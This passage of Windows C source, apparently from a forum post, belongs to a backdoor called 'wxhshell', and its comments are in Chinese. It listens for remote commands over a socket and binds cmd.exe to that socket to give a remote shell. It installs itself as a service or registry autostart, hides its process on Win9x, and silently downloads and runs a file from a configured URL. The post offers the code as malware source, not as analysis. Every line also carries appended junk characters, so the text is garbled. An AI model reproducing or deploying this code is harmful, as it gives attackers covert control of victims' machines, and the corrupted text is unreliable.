  else { MH#Tp#RG  
Y/J~M$9P,  
    switch(cmd[0]) { =Fc]mcJ69  
  [\3ZMH *  
  // 帮助 >/74u/&  
  case '?': { ;SE*En  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A5j? Yts  
    break; \i+AMduAo  
  } by+xK~>  
  // 安装 LilK6K  
  case 'i': { B:X%k/{  
    if(Install()) hV~M!vFxA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sg=G<50i  
    else xxs +=.2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sj I,v+  
    break; Pd+*syOM  
    } ^ oav-R&  
  // 卸载 z00X ?F  
  case 'r': { <cOjtq,0  
    if(Uninstall()) VHPqEaR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eGT&&Y  
    else }>M\iPO.]*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^1~lnD~0  
    break; b_`h2dUq  
    } kcUn GiP  
  // 显示 wxhshell 所在路径 k.b=EX|  
  case 'p': { 9ye!kYF,  
    char svExeFile[MAX_PATH]; LCSvw  
    strcpy(svExeFile,"\n\r"); G%k&|  
      strcat(svExeFile,ExeFile); :xHKbWz6j  
        send(wsh,svExeFile,strlen(svExeFile),0); 8o+:|V~X  
    break; hdWVvN  
    } iDcTO}  
  // 重启 s7n7u7$j  
  case 'b': { 7vXP|8j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ll0y@@Iy  
    if(Boot(REBOOT)) O [= L#wi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Tg1 >q<  
    else {  K!ILO  
    closesocket(wsh); `D|])^"{  
    ExitThread(0); `Kg!aN  
    } v {r%/*  
    break; mxZ+r#|di  
    } {96MfhkeBv  
  // 关机 :[+8(~| za  
  case 'd': { [ >mH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D} B?~Lls  
    if(Boot(SHUTDOWN)) ~ Rk.x +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |=ph&9  
    else { UF^[?M =  
    closesocket(wsh); 6O,k! y>  
    ExitThread(0); w0;4O)H$O  
    } 7[P-;8)tq  
    break; N {{MMIq  
    } sN8pwRjb  
  // 获取shell ##BbR  
  case 's': { D N)o|p  
    CmdShell(wsh); wbJBGT{sm  
    closesocket(wsh); `Y.~eE  
    ExitThread(0);  &lU\9  
    break; q6rkp f,Tl  
  } ,+ IFV  
  // 退出 S'^ q  
  case 'x': { "f 89   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |hj!NhBe  
    CloseIt(wsh); (/nnN4\=  
    break; ,\iXZ5"R  
    } 59{X;  
  // 离开 'm`}XGUBS  
  case 'q': { ZHjL8Iq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,9d]-CuP;  
    closesocket(wsh); *Sdx:G~gp  
    WSACleanup(); cH*")oD  
    exit(1); @. $- ^-  
    break; &xB*Shp,B  
        } w>cqsTq  
  } Q*I8RAfd  
  } SF-E>s!XL  
D'u7"^=  
  // 提示信息 x#3*C|A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u; KM[FmK  
} LDEc}XXb  
  } O >+=cg  
UFT JobU  
  return; fQC{Lc S  
} awo'#Y2>  
L,.~VNy-  
// shell模块句柄 n_; s2,2r  
int CmdShell(SOCKET sock) >U`G3(#7S  
{ aL[6}U0(}  
STARTUPINFO si; Y!oLNGY  
ZeroMemory(&si,sizeof(si)); Lu6g`O:['  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?e6>dNw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e`b#,=  
PROCESS_INFORMATION ProcessInfo; ^CLQs;zXE  
char cmdline[]="cmd"; hsrf2Xw[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^?H|RAp  
  return 0; $m#^0%  
} dq.U#Rhrx  
v=iiS}s  
// 自身启动模式 Lfi6b%/z  
int StartFromService(void) .Ja].hP  
{ ~Z/,o)  
typedef struct X-nC2[tu'W  
{ mj$Ucql  
  DWORD ExitStatus; 6 /YJA*  
  DWORD PebBaseAddress; Le?g ,c  
  DWORD AffinityMask; 3%5YUG@  
  DWORD BasePriority; (eU4{X7  
  ULONG UniqueProcessId; L~t< 0\r  
  ULONG InheritedFromUniqueProcessId; gZ^Qt.6Z  
}   PROCESS_BASIC_INFORMATION; QPB,B>Z  
;$&\ :-6A#  
PROCNTQSIP NtQueryInformationProcess; 2kDY+AN;  
F4G81^H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v]{UH {6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9\hI:rI  
T 'c39  
  HANDLE             hProcess; v =y 2  
  PROCESS_BASIC_INFORMATION pbi; ;DK%!."%  
,\v'%,:C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D {Ol8:  
  if(NULL == hInst ) return 0; gep#o$P  
J6s]vV q"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \t=0rFV)t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "."(<c/3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lh'S_p8g  
SC~k4&xy  
  if (!NtQueryInformationProcess) return 0; 8lpAe0p(Z  
)pHlWi|h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %\<b{x# G  
  if(!hProcess) return 0; HQm_ K0$  
-&Xv,:'?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;9OhK71}  
7C7.}U  
  CloseHandle(hProcess); $!>.h*np  
-sQ[f18  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u5A?; a  
if(hProcess==NULL) return 0; * $f`ouJl  
#gV n7wq  
HMODULE hMod; jj[6oNKE1  
char procName[255]; >E+g.5 ,:W  
unsigned long cbNeeded; QKj0~ia 5  
\i_E}Ii0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '3672wF/  
uem-fTG  
  CloseHandle(hProcess); P'U2hCif  
@ye!? %  
if(strstr(procName,"services")) return 1; // 以服务启动 %BGg?&  
v,ssv{gU  
  return 0; // 注册表启动 *7Q6b 4~"  
} EB*sd S  
2; ^ME\  
// 主模块 Vbl-Ff  
int StartWxhshell(LPSTR lpCmdLine) g.Xk6"kO  
{ .}!.4J%q2  
  SOCKET wsl; /J#(8p  
BOOL val=TRUE; \A[l(aB  
  int port=0; kCTf>sJe  
  struct sockaddr_in door; tNT Sy =  
YGyv)\  
  if(wscfg.ws_autoins) Install(); Kn~Rck| ]  
Zl5'%b$&  
port=atoi(lpCmdLine); @zg}x0]  
)J S6W  
if(port<=0) port=wscfg.ws_port; >-A@6Qe_  
f(5(V %  
  WSADATA data; p +i 1sY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W91yj:  
5X!-Hj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kMQ /9~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yU v YV-7  
  door.sin_family = AF_INET; C.jWT1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f,HUr% @  
  door.sin_port = htons(port); sApix=Lr  
, Z"<-%3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EG>?>K_D  
closesocket(wsl); !?>V^#c  
return 1; }S/i3$F0~  
} 1]7gYNzV"  
]P?< 2,  
  if(listen(wsl,2) == INVALID_SOCKET) { |ri)-Bk ,  
closesocket(wsl); {z FME41>g  
return 1; p u(mHB  
} F^O83[S  
  Wxhshell(wsl); ~ 29p|X<  
  WSACleanup(); !&VfOx:PN  
B3#G  
return 0; hk~/W}sI  
sT\:**  
} 7<yc:}9nx  
LCHMh6  
// 以NT服务方式启动 GI%&.Vd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F_ F"3'[  
{ q\0/6tl_  
DWORD   status = 0; CFaY=Cy  
  DWORD   specificError = 0xfffffff; $`F9e5}G  
UPh#YV 0/,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &N7ji  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?"d$SK"6Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IP62|~Ap  
  serviceStatus.dwWin32ExitCode     = 0; YQ+hQ:4-  
  serviceStatus.dwServiceSpecificExitCode = 0; ]i*ucW4  
  serviceStatus.dwCheckPoint       = 0; (GSP3KKo*G  
  serviceStatus.dwWaitHint       = 0; Cu[-<>my  
(>v'0 RA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0* $w(*  
  if (hServiceStatusHandle==0) return; ?%s>a8w  
x}] 56f  
status = GetLastError(); BN_h3|)  
  if (status!=NO_ERROR) |9I)YD  
{ cSb;a\el$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w_(3{P[Iz  
    serviceStatus.dwCheckPoint       = 0; wX,V:QE  
    serviceStatus.dwWaitHint       = 0; YFO{i-*q  
    serviceStatus.dwWin32ExitCode     = status; YT\@fgBt  
    serviceStatus.dwServiceSpecificExitCode = specificError; S&-K!XyJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x;/LOa{LR  
    return; ?E([Nc0T  
  } P\jGyS j  
JVE\{ e)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; & LE5' .s  
  serviceStatus.dwCheckPoint       = 0; &R94xh%@(  
  serviceStatus.dwWaitHint       = 0; &|hK79D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I%[e6qX@  
} P-@MLIC{  
7zM:z,  
// 处理NT服务事件,比如:启动、停止 "j^i6RS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ( ay AP  
{ [?!I*=*b  
switch(fdwControl) 6}4})B2  
{ DP ? d C`  
case SERVICE_CONTROL_STOP: Wq1>Bj$J8  
  serviceStatus.dwWin32ExitCode = 0; `3+i.wR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g68p9#G  
  serviceStatus.dwCheckPoint   = 0; )[Y B&  
  serviceStatus.dwWaitHint     = 0; mayJwBfU  
  { lE:g A,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I.<c{4K5  
  } Y=Vbs x  
  return; % Y^J''  
case SERVICE_CONTROL_PAUSE: oUv26t~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u!_l/'\  
  break; $]v}X},,  
case SERVICE_CONTROL_CONTINUE: ^J'_CA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; / ;]5X  
  break; ht3.e[%'b  
case SERVICE_CONTROL_INTERROGATE: (`P\nnb  
  break; lPTx] =G  
}; yeo&Qz2vU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h!EA;2yGKa  
} tq3Wga!5  
}r,\0Wm  
// 标准应用程序主函数 E[H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FKa";f"  
{ X\|!  
Tg\bpLk0=  
// 获取操作系统版本 YDt+1Kw}D  
OsIsNt=GetOsVer(); y>^a~}Zq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^Co-!jM  
Zi!Ta"}8  
  // 从命令行安装 r* *zjv>  
  if(strpbrk(lpCmdLine,"iI")) Install(); M^FY6TT4O  
c`;\sW-_W  
  // 下载执行文件 zzqJeIS  
if(wscfg.ws_downexe) { Uzu6>yT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [M?2axOC  
  WinExec(wscfg.ws_filenam,SW_HIDE); HgI!q<)  
} x]~TGzS  
w0pMH p'Y  
if(!OsIsNt) { WyL+HB}  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fnw:alWr  
HideProc(); Ha'[uEDb  
StartWxhshell(lpCmdLine); \8`?ir q"  
} i|YS>Pw~j  
else mgs(n5V5  
  if(StartFromService()) +.G"ool  
  // 以服务方式启动 s{hKl0ds  
  StartServiceCtrlDispatcher(DispatchTable); UO/sv2CN  
else :+rGBkw1m  
  // 普通方式启动 N ##`  
  StartWxhshell(lpCmdLine); _7 3q,3`24  
,"(L2+Yp  
return 0; 7N.b-}$(  
}
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只看该作者 1 发表于: 2006-10-10
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